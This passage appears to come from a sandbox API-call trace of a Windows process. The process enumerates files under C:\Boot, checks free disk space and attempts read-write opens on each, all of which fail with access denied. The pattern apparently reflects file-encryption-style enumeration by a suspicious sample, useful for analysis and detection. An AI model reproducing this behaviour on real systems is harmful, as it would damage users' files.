ftLastWriteTime.dwLowDateTime=0x65332c4d, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xb95c)) returned 1 [0058.340] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30fad8 [0058.340] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x1d64658 [0058.340] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x1d645d0 [0058.340] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x1d64658) returned 1 [0058.340] GetDiskFreeSpaceExW (in: lpDirectoryName="C:\\Boot\\Fonts", lpFreeBytesAvailableToCaller=0x17af8bc, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0 | out: lpFreeBytesAvailableToCaller=0x17af8bc, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0) returned 1 [0058.340] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x1d645d0) returned 1 [0058.340] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30fad8) returned 1 [0058.340] GetFileAttributesExW (in: lpFileName="C:\\Boot\\Fonts\\wgl4_boot.ttf" (normalized: "c:\\boot\\fonts\\wgl4_boot.ttf"), fInfoLevelId=0x0, lpFileInformation=0x17af834 | out: lpFileInformation=0x17af834*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac276640, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac276640, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x65332c4d, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xb95c)) returned 1 [0058.340] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30fad8 [0058.340] GetFileAttributesExW (in: lpFileName="C:\\Boot\\Fonts\\wgl4_boot.ttf" (normalized: "c:\\boot\\fonts\\wgl4_boot.ttf"), fInfoLevelId=0x0, lpFileInformation=0x17af7ec | out: lpFileInformation=0x17af7ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac276640, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac276640, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x65332c4d, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xb95c)) returned 1 [0058.340] CreateFileW (lpFileName="C:\\Boot\\Fonts\\wgl4_boot.ttf" (normalized: "c:\\boot\\fonts\\wgl4_boot.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0058.340] GetLastError () returned 0x5 [0058.340] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30fad8) returned 1 [0058.340] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30fb60) returned 1 [0058.340] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30fb60 [0058.340] GetFileAttributesExW (in: lpFileName="C:\\Boot\\fr-FR\\bootmgr.exe.mui" (normalized: "c:\\boot\\fr-fr\\bootmgr.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0x17af838 | out: lpFileInformation=0x17af838*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe86b3703, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16c40)) returned 1 [0058.341] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30fad8 [0058.341] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x1d645d0 [0058.341] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x1d64658 [0058.341] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x1d645d0) returned 1 [0058.341] GetDiskFreeSpaceExW (in: lpDirectoryName="C:\\Boot\\fr-FR", lpFreeBytesAvailableToCaller=0x17af8bc, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0 | out: lpFreeBytesAvailableToCaller=0x17af8bc, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0) returned 1 [0058.341] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x1d64658) returned 1 [0058.341] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30fad8) returned 1 [0058.341] GetFileAttributesExW (in: lpFileName="C:\\Boot\\fr-FR\\bootmgr.exe.mui" (normalized: "c:\\boot\\fr-fr\\bootmgr.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0x17af834 | out: lpFileInformation=0x17af834*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe86b3703, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16c40)) returned 1 [0058.341] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30fad8 [0058.341] GetFileAttributesExW (in: lpFileName="C:\\Boot\\fr-FR\\bootmgr.exe.mui" (normalized: "c:\\boot\\fr-fr\\bootmgr.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0x17af7ec | out: lpFileInformation=0x17af7ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe86b3703, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16c40)) returned 1 [0058.341] CreateFileW (lpFileName="C:\\Boot\\fr-FR\\bootmgr.exe.mui" (normalized: "c:\\boot\\fr-fr\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0058.342] GetLastError () returned 0x5 [0058.342] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30fad8) returned 1 [0058.342] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30fb60) returned 1 [0058.342] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30fb60 [0058.342] GetFileAttributesExW (in: lpFileName="C:\\Boot\\hu-HU\\bootmgr.exe.mui" (normalized: "c:\\boot\\hu-hu\\bootmgr.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0x17af838 | out: lpFileInformation=0x17af838*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe817e7d8, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16240)) returned 1 [0058.342] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30fad8 [0058.342] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x1d64658 [0058.342] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x1d645d0 [0058.342] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x1d64658) returned 1 [0058.342] GetDiskFreeSpaceExW (in: lpDirectoryName="C:\\Boot\\hu-HU", lpFreeBytesAvailableToCaller=0x17af8bc, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0 | out: lpFreeBytesAvailableToCaller=0x17af8bc, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0) returned 1 [0058.342] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x1d645d0) returned 1 [0058.343] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30fad8) returned 1 [0058.343] GetFileAttributesExW (in: lpFileName="C:\\Boot\\hu-HU\\bootmgr.exe.mui" (normalized: "c:\\boot\\hu-hu\\bootmgr.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0x17af834 | out: lpFileInformation=0x17af834*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe817e7d8, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16240)) returned 1 [0058.343] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30fad8 [0058.343] GetFileAttributesExW (in: lpFileName="C:\\Boot\\hu-HU\\bootmgr.exe.mui" (normalized: "c:\\boot\\hu-hu\\bootmgr.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0x17af7ec | out: lpFileInformation=0x17af7ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe817e7d8, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16240)) returned 1 [0058.343] CreateFileW (lpFileName="C:\\Boot\\hu-HU\\bootmgr.exe.mui" (normalized: "c:\\boot\\hu-hu\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0058.343] GetLastError () returned 0x5 [0058.343] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30fad8) returned 1 [0058.343] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30fb60) returned 1 [0058.343] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30fb60 [0058.343] GetFileAttributesExW (in: lpFileName="C:\\Boot\\it-IT\\bootmgr.exe.mui" (normalized: "c:\\boot\\it-it\\bootmgr.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0x17af838 | out: lpFileInformation=0x17af838*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe9e80ea3, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250)) returned 1 [0058.343] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30fad8 [0058.343] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x1d645d0 [0058.343] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x1d64658 [0058.343] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x1d645d0) returned 1 [0058.344] GetDiskFreeSpaceExW (in: lpDirectoryName="C:\\Boot\\it-IT", lpFreeBytesAvailableToCaller=0x17af8bc, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0 | out: lpFreeBytesAvailableToCaller=0x17af8bc, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0) returned 1 [0058.344] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x1d64658) returned 1 [0058.344] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30fad8) returned 1 [0058.344] GetFileAttributesExW (in: lpFileName="C:\\Boot\\it-IT\\bootmgr.exe.mui" (normalized: "c:\\boot\\it-it\\bootmgr.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0x17af834 | out: lpFileInformation=0x17af834*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe9e80ea3, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250)) returned 1 [0058.344] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30fad8 [0058.344] GetFileAttributesExW (in: lpFileName="C:\\Boot\\it-IT\\bootmgr.exe.mui" (normalized: "c:\\boot\\it-it\\bootmgr.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0x17af7ec | out: lpFileInformation=0x17af7ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe9e80ea3, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250)) returned 1 [0058.344] CreateFileW (lpFileName="C:\\Boot\\it-IT\\bootmgr.exe.mui" (normalized: "c:\\boot\\it-it\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0058.344] GetLastError () returned 0x5 [0058.344] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30fad8) returned 1 [0058.344] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30fb60) returned 1 [0058.344] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30fb60 [0058.344] GetFileAttributesExW (in: lpFileName="C:\\Boot\\ja-JP\\bootmgr.exe.mui" (normalized: "c:\\boot\\ja-jp\\bootmgr.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0x17af838 | out: lpFileInformation=0x17af838*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8216d3c, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x12a40)) returned 1 [0058.345] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30fad8 [0058.345] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x1d64658 [0058.345] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x1d645d0 [0058.345] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x1d64658) returned 1 [0058.345] GetDiskFreeSpaceExW (in: lpDirectoryName="C:\\Boot\\ja-JP", lpFreeBytesAvailableToCaller=0x17af8bc, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0 | out: lpFreeBytesAvailableToCaller=0x17af8bc, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0) returned 1 [0058.345] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x1d645d0) returned 1 [0058.345] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30fad8) returned 1 [0058.345] GetFileAttributesExW (in: lpFileName="C:\\Boot\\ja-JP\\bootmgr.exe.mui" (normalized: "c:\\boot\\ja-jp\\bootmgr.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0x17af834 | out: lpFileInformation=0x17af834*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8216d3c, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x12a40)) returned 1 [0058.345] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30fad8 [0058.345] GetFileAttributesExW (in: lpFileName="C:\\Boot\\ja-JP\\bootmgr.exe.mui" (normalized: "c:\\boot\\ja-jp\\bootmgr.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0x17af7ec | out: lpFileInformation=0x17af7ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8216d3c, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x12a40)) returned 1 [0058.345] CreateFileW (lpFileName="C:\\Boot\\ja-JP\\bootmgr.exe.mui" (normalized: "c:\\boot\\ja-jp\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0058.345] GetLastError () returned 0x5 [0058.345] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30fad8) returned 1 [0058.346] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30fb60) returned 1 [0058.346] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30fb60 [0058.346] GetFileAttributesExW (in: lpFileName="C:\\Boot\\ko-KR\\bootmgr.exe.mui" (normalized: "c:\\boot\\ko-kr\\bootmgr.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0x17af838 | out: lpFileInformation=0x17af838*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8510830, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x12650)) returned 1 [0058.346] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30fad8 [0058.346] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x1d645d0 [0058.346] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x1d64658 [0058.346] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x1d645d0) returned 1 [0058.346] GetDiskFreeSpaceExW (in: lpDirectoryName="C:\\Boot\\ko-KR", lpFreeBytesAvailableToCaller=0x17af8bc, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0 | out: lpFreeBytesAvailableToCaller=0x17af8bc, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0) returned 1 [0058.346] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x1d64658) returned 1 [0058.346] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30fad8) returned 1 [0058.346] GetFileAttributesExW (in: lpFileName="C:\\Boot\\ko-KR\\bootmgr.exe.mui" (normalized: "c:\\boot\\ko-kr\\bootmgr.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0x17af834 | out: lpFileInformation=0x17af834*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8510830, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x12650)) returned 1 [0058.347] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30fad8 [0058.347] GetFileAttributesExW (in: lpFileName="C:\\Boot\\ko-KR\\bootmgr.exe.mui" (normalized: "c:\\boot\\ko-kr\\bootmgr.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0x17af7ec | out: lpFileInformation=0x17af7ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8510830, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x12650)) returned 1 [0058.347] CreateFileW (lpFileName="C:\\Boot\\ko-KR\\bootmgr.exe.mui" (normalized: "c:\\boot\\ko-kr\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0058.347] GetLastError () returned 0x5 [0058.347] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30fad8) returned 1 [0058.347] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30fb60) returned 1 [0058.347] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30fb60 [0058.347] GetFileAttributesExW (in: lpFileName="C:\\Boot\\nb-NO\\bootmgr.exe.mui" (normalized: "c:\\boot\\nb-no\\bootmgr.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0x17af838 | out: lpFileInformation=0x17af838*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xea212efb, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15850)) returned 1 [0058.347] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30fad8 [0058.347] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x1d64658 [0058.347] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x1d645d0 [0058.347] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x1d64658) returned 1 [0058.347] GetDiskFreeSpaceExW (in: lpDirectoryName="C:\\Boot\\nb-NO", lpFreeBytesAvailableToCaller=0x17af8bc, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0 | out: lpFreeBytesAvailableToCaller=0x17af8bc, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0) returned 1 [0058.348] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x1d645d0) returned 1 [0058.348] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30fad8) returned 1 [0058.348] GetFileAttributesExW (in: lpFileName="C:\\Boot\\nb-NO\\bootmgr.exe.mui" (normalized: "c:\\boot\\nb-no\\bootmgr.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0x17af834 | out: lpFileInformation=0x17af834*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xea212efb, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15850)) returned 1 [0058.348] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30fad8 [0058.348] GetFileAttributesExW (in: lpFileName="C:\\Boot\\nb-NO\\bootmgr.exe.mui" (normalized: "c:\\boot\\nb-no\\bootmgr.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0x17af7ec | out: lpFileInformation=0x17af7ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xea212efb, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15850)) returned 1 [0058.348] CreateFileW (lpFileName="C:\\Boot\\nb-NO\\bootmgr.exe.mui" (normalized: "c:\\boot\\nb-no\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0058.348] GetLastError () returned 0x5 [0058.348] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30fad8) returned 1 [0058.348] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30fb60) returned 1 [0058.348] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30fb60 [0058.348] GetFileAttributesExW (in: lpFileName="C:\\Boot\\nl-NL\\bootmgr.exe.mui" (normalized: "c:\\boot\\nl-nl\\bootmgr.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0x17af838 | out: lpFileInformation=0x17af838*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe84c457e, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250)) returned 1 [0058.349] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30fad8 [0058.349] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x1d645d0 [0058.349] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x1d64658 [0058.349] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x1d645d0) returned 1 [0058.349] GetDiskFreeSpaceExW (in: lpDirectoryName="C:\\Boot\\nl-NL", lpFreeBytesAvailableToCaller=0x17af8bc, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0 | out: lpFreeBytesAvailableToCaller=0x17af8bc, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0) returned 1 [0058.349] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x1d64658) returned 1 [0058.349] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30fad8) returned 1 [0058.349] GetFileAttributesExW (in: lpFileName="C:\\Boot\\nl-NL\\bootmgr.exe.mui" (normalized: "c:\\boot\\nl-nl\\bootmgr.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0x17af834 | out: lpFileInformation=0x17af834*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe84c457e, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250)) returned 1 [0058.349] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30fad8 [0058.349] GetFileAttributesExW (in: lpFileName="C:\\Boot\\nl-NL\\bootmgr.exe.mui" (normalized: "c:\\boot\\nl-nl\\bootmgr.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0x17af7ec | out: lpFileInformation=0x17af7ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe84c457e, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250)) returned 1 [0058.349] CreateFileW (lpFileName="C:\\Boot\\nl-NL\\bootmgr.exe.mui" (normalized: "c:\\boot\\nl-nl\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, 